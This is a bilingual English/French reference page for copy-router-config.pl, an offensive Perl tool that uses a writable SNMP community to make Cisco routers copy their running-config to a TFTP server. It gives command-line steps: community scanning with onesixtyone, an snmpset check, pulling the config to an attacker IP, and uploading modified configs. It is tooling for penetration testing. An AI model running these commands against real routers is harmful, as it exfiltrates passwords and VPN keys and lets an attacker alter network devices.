copy-router-config.pl
Script Perl classique qui télécharge ou téléverse la config en cours d'un routeur Cisco IOS via un accès SNMP en écriture et TFTP. Classic Perl script that downloads or uploads a Cisco IOS router's running config via SNMP write access and TFTP.
↗ https://github.com/int0x80/copy-router-configOverview
copy-router-config.pl is a small Perl utility that abuses a Cisco device’s SNMP read-write community string to instruct the router to copy its running-config to (or from) a TFTP server. If SNMP write access is exposed with a guessable or default community string, this is a fast way to exfiltrate a full router configuration — often containing plaintext or weakly-encrypted enable passwords, VPN PSKs, and SNMP strings themselves.
Common Usage
Start a TFTP server to receive the config (required first)
sudo atftpd --daemon --port 69 /tmp/tftproot
Download the router’s running-config via SNMP write to our TFTP server
perl copy-router-config.pl -h <target_router_ip> -c <rw_community> -t <local_tftp_ip>
Inspect the retrieved config
cat /tmp/tftproot/<target_router_ip>.txt
Upload a modified config back to the router (merge-config.pl companion script)
perl merge-config.pl -h <target_router_ip> -c <rw_community> -t <local_tftp_ip> -f modified.cfg
Typical Workflow
Step 1: Find devices with writable SNMP via onesixtyone / snmp-check
onesixtyone -c community.txt <target_router_ip>
Step 2: Confirm read-write access
snmpset -v2c -c <community> <target_router_ip> 1.3.6.1.4.1.9.2.1.55.0 s "test"
Step 3: Pull the config
perl copy-router-config.pl -h <target_router_ip> -c <community> -t <attacker_ip>
Tips
- Requires the target router to be able to reach the TFTP server’s IP — often means being on the same network or through a routable pivot
- Extracted configs frequently contain type-7 Cisco passwords, trivially reversible with any Cisco password decoder
- A read-write SNMP community exposed externally is a critical finding on its own — this script just demonstrates real-world impact
Help / Man page
copy-router-config.pl - Download Cisco IOS config via SNMP + TFTP
Usage:
perl copy-router-config.pl -h <router_ip> -c <rw_community> -t <tftp_server_ip>
Options:
-h HOST Target router IP address
-c COMMUNITY SNMP read-write community string
-t TFTPIP IP address of the TFTP server to receive the config
Companion script:
merge-config.pl -h <router_ip> -c <rw_community> -t <tftp_server_ip> -f <config_file>
Uploads/merges a local config file into the router's running-config.
Vue d’ensemble
copy-router-config.pl est un petit utilitaire Perl qui abuse de la community string SNMP en lecture-écriture d’un équipement Cisco pour ordonner au routeur de copier sa running-config vers (ou depuis) un serveur TFTP. Si un accès SNMP en écriture est exposé avec une community devinable ou par défaut, c’est un moyen rapide d’exfiltrer une configuration complète de routeur, contenant souvent des mots de passe enable en clair ou faiblement chiffrés, des PSK VPN, et les community strings SNMP elles-mêmes.
Utilisation courante
# Démarrer un serveur TFTP pour recevoir la config (requis d'abord)
sudo atftpd --daemon --port 69 /tmp/tftproot
# Télécharger la running-config du routeur via SNMP écriture vers notre serveur TFTP
perl copy-router-config.pl -h <target_router_ip> -c <rw_community> -t <local_tftp_ip>
# Inspecter la config récupérée
cat /tmp/tftproot/<target_router_ip>.txt
# Téléverser une config modifiée vers le routeur (script compagnon merge-config.pl)
perl merge-config.pl -h <target_router_ip> -c <rw_community> -t <local_tftp_ip> -f modified.cfg
Workflow typique
# Étape 1 : trouver les équipements avec SNMP accessible en écriture via onesixtyone / snmp-check
onesixtyone -c community.txt <target_router_ip>
# Étape 2 : confirmer l'accès en lecture-écriture
snmpset -v2c -c <community> <target_router_ip> 1.3.6.1.4.1.9.2.1.55.0 s "test"
# Étape 3 : récupérer la config
perl copy-router-config.pl -h <target_router_ip> -c <community> -t <attacker_ip>
Conseils
- Nécessite que le routeur cible puisse atteindre l’IP du serveur TFTP : cela implique souvent d’être sur le même réseau ou de passer par un pivot routable
- Les configs extraites contiennent fréquemment des mots de passe Cisco type-7, trivialement réversibles avec n’importe quel décodeur de mot de passe Cisco
- Une community SNMP en lecture-écriture exposée à l’extérieur est un finding critique en soi : ce script ne fait que démontrer l’impact réel
Aide / Page de manuel
copy-router-config.pl - Download Cisco IOS config via SNMP + TFTP
Usage:
perl copy-router-config.pl -h <router_ip> -c <rw_community> -t <tftp_server_ip>
Options:
-h HOST Target router IP address
-c COMMUNITY SNMP read-write community string
-t TFTPIP IP address of the TFTP server to receive the config
Companion script:
merge-config.pl -h <router_ip> -c <rw_community> -t <tftp_server_ip> -f <config_file>
Uploads/merges a local config file into the router's running-config.